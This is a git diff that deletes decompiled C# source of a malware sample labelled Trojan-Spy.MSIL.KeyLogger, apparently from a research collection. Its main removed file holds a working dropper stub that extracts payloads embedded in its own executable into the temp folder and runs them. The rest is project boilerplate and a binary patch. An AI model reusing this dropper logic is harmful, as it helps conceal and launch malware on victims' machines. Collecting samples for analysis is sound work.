Point(0, 0); - this.Label1.Name = "Label1"; - Label label1 = this.Label1; - Size size1 = new Size(169, 80); - Size size2 = size1; - label1.Size = size2; - this.Label1.TabIndex = 0; - this.Label1.Text = "Coder:\r\nFEDERIKO"; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = Color.Black; - size1 = new Size(172, 82); - this.ClientSize = size1; - this.Controls.Add((Control) this.Label1); - this.ForeColor = Color.Blue; - this.Name = nameof (Form1); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - private void Form1_Load(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = -2; -label_1: - int num3 = 2; - string tempPath = Path.GetTempPath(); -label_2: - num3 = 3; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); -label_4: - num3 = 5; - FileSystem.FileGet(1, ref Expression); -label_5: - num3 = 6; - FileSystem.FileClose(1); -label_6: - num3 = 7; - string[] strArray = Strings.Split(Expression, "]~FEDERIKO~["); -label_7: - num3 = 8; - FileSystem.FileOpen(3, tempPath + strArray[3], OpenMode.Binary, OpenAccess.ReadWrite); -label_8: - num3 = 9; - FileSystem.FilePut(3, strArray[1], -1L, false); -label_9: - num3 = 10; - FileSystem.FileClose(3); -label_10: - num3 = 11; - FileSystem.FileOpen(5, tempPath + strArray[4], OpenMode.Binary, OpenAccess.ReadWrite); -label_11: - num3 = 12; - FileSystem.FilePut(5, strArray[2], -1L, false); -label_12: - num3 = 13; - FileSystem.FileClose(5); -label_13: - num3 = 14; - Process.Start(tempPath + strArray[3]); -label_14: - num3 = 15; - this.Close(); - ProjectData.EndApp(); - goto label_21; -label_16: - num2 = num3; - switch (num1 > -2 ? num1 : 1) - { - case 1: - int num4 = num2 + 1; - num2 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_13; - case 15: - goto label_14; - case 16: - goto label_21; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) - { - ProjectData.SetProjectError(ex); - goto label_16; - } - throw ProjectData.CreateProjectError(-2146828237); -label_21: - if (num2 == 0) - return; - ProjectData.ClearProjectError(); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyApplication.cs deleted file mode 100644 index bc226d58..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyApplication.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.My.MyApplication -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Cloner___Stub.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyComputer.cs deleted file mode 100644 index ffc98a3e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.My.MyComputer -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cloner___Stub.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyProject.cs deleted file mode 100644 index f91726ce..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.My.MyProject -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cloner___Stub.My -{ - [StandardModule] - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettings.cs deleted file mode 100644 index 091b448c..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettings.cs +++ /dev/null @@ -1,73 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.My.MySettings -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Cloner___Stub.My -{ - [CompilerGenerated] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - return MySettings.defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettingsProperty.cs deleted file mode 100644 index ab624073..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.My.MySettingsProperty -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cloner___Stub.My -{ - [StandardModule] - [DebuggerNonUserCode] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/Resources/Resources.cs deleted file mode 100644 index 5d5e2352..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cloner___Stub.My.Resources.Resources -// Assembly: Dosya, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 99A5F593-6DC7-404F-A1BD-34228282C6FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cloner___Stub.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cloner___Stub.My.Resources.Resources.resourceMan, (object) null)) - Cloner___Stub.My.Resources.Resources.resourceMan = new ResourceManager("Cloner___Stub.Resources", typeof (Cloner___Stub.My.Resources.Resources).Assembly); - return Cloner___Stub.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cloner___Stub.My.Resources.Resources.resourceCulture; - set => Cloner___Stub.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.csproj deleted file mode 100644 index aa71b374..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {3BA04A20-7DB8-4D57-961F-7483C923FB9A} - WinExe - Dosya - 1.0.0.0 - Cloner___Stub - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.sln deleted file mode 100644 index b4f58b36..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709/Trojan-Spy.MSIL.KeyLogger.jfp.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Dosya", "Trojan-Spy.MSIL.KeyLogger.jfp-fe85e9d426a79c3f0598b4509c0e689f9406da6604d2d4a0d2d7ae8e74a23709.csproj", "{3BA04A20-7DB8-4D57-961F-7483C923FB9A}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {3BA04A20-7DB8-4D57-961F-7483C923FB9A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {3BA04A20-7DB8-4D57-961F-7483C923FB9A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {3BA04A20-7DB8-4D57-961F-7483C923FB9A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {3BA04A20-7DB8-4D57-961F-7483C923FB9A}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/443248CC0414BFB56CD5DC6EEC944A5F67233D02 b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.qqc-8459fc94f3d58ee15579a5804217b56ce046b6ec56620a3633c9f389d220cbc2/443248CC0414BFB56CD5DC6EEC944A5F67233D02 deleted file mode 100644 index 0eeb430494b386bf38f5b2705679fefeec4b9c45..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 10171 zcmZ|V({d(&f@t9+9ox3`$F|wAZQHhO+qP|+9jjy8n4a1*Rp(;PBYd@P7aQ9QJI|!6 zX$>EbfS{1Lh^Sb5o21mkZy8xRc?CrjWffI5bq!4|Z5>@beFH-yV-r&|a|=r=Ya3fT zdk04+XBXEOcMne&qcM9wmTBhT%`L5M?H!#LZ#}&a14DzI>yZ&-;}erp(=)U5^GgqFE8DAo zzSlQ4ceZzS_x2CI@{f*B#?Q_#F0Za{ZX50&mY<$q-rwGTKEJ+yfPg_DK*7KvAfcdP zqT%2Xkdcs4P|?s)F*WjVaN+O?7>I~TNLk4#IH;&;XaRKm42(?7EUawo9GqM~e!P6< z|NO%L{NfUlQquq9SNdN+kB+X=|Htq4&+p~!dV@C=TmKaV|~#6!Oh`6fA~ND^*{gG-TlMkKmY67`^P_j9}uv>umAPK z{_`XL$B%)Dg^h!YhfhHG-+nT33d;ZZ>Hi-;w>vK%|35#>KfkENZ>c1B8QG$L{T2Vm z596()`$y>i?*D)JA8TV`cQ+GL!;=5o-&pp(1-)fQzZzInTykAjo?jVPy|b~g7@EC0 zJ>T7y-qG3B-P6~%HgNG+kX+9II{x>wBD%FjzrVP`$%Y;bG%-8+j3e^nD|c z1E8yLy)SD6!qY9Fs!sqV>&5CzLKOO-?x!y( z%0i8uzhF&*l{P>#WKK7^mJyT747c)QhYAEzM7b0{hD2iQIQ3->@<1na&u$pKZmXvY z)6& zYj|nJa4LELJvg3cR^+GPoT$XR88w_pzPX_FcWnReSR_*u)}w&1#|`(T+7W9NtgL-G z0R1w>C#h*+mSAXqeZTwhP>lu}V(oRu!d7`4F&J^Iz7bG>ai8%`QH|e)aG`XwCv)!7 zeA}7g?XqYL6bMJLos!3c^}Y2`Eu^Cb=lM5xwE7YMV0{q%hIrtavTK$s$?#Ew;YH6> zS7up)kMGohdibZ^XYz}c1g-(D-j|f*F6tHfb$0l6Ac6OIC^x*qhv`uUURhZCV$ovW z3UUG^x6qaV)w!0j+`9GsrKnYU!SOwG#@5GJuS|rf2#f)u@^pEhdFaE!R^6JSB|jGu`Vr zDtNP>OAh3|X>ZnvzknEiPpfWmAaabID~S)uDJ%!Fk%j4dfJL`=lYF<=)1h-DS`5X2 zH{{@9tR{5!d%N)*5C%3N9I#c%%g^l15ohG-bYkqkaDj}~0KazO^2XRbg6>r$s57GT zwZ=@J`s<;=JONV>-nZMK*)u|y`tuu#NQkV+38m^gWfyGd&agm7z~r@d^ry_|K97?} zH(E^7yX9VArm`UYng)w$Ml`JOElS+)WK^;~)av@%A7?XaFe>58KzDd=xc4&rq%c%f z(8|eZv3!D?U>ODz5#n@u0oaibe;w*rsTB9zA!NTrw@kA)eA#oyJNe7~g%RhZpU#Y4 zk$nOgBPqCYHYr;y|hvI*vcB2zARI(1p@x zsg7V>3AO8q5s8-PsvEO#wC)0pqXB5JPosp((AL`{On8e3gh{}Uwb;9IAR?f_9w31h zF&c2+`RSV|u6MpxoI$Z|yO4ci;+;Z{ zuKAbfd^A^KFIV*%{TO|?c9}=;Hdwg4hQeLj7kcx49ICfV^?!sNxM<{R z7OpA<*Ax0FW(qFnkqs;rn=)?hiKP_0k4BW5*L@sh8{@*CIi*|7Lt(xQKf=i9$aG|a z0Pgw2Tv4^1KTcRjYJBy`kZLW8ar-DK(hD$Y?-N?E+RX$G4N}?_9xz-4Nr+wgNGm{s zX8BkOxsmgKe=fBu+x4A?RJ_umG@lCnb<;sgwuR(S{Nx!0$wmaq%0Ykvtn1quoGJZuKwqP&p{~z0x zP&o_DX{O!Tx#{l$4Y67N>ZIx^Kqx(nzo>>#kJ@ms14G73NIMexGz&O9sZQ3{JpF0@ z-M4(1Vsk`$kX}U-N$axS#3#FvcZJQG(am0H?h?Jsd;#PzMPp31yA(%hIZfyIo$j9T z@-oNW3qp0rTnz(q2if1V@(Ki#6 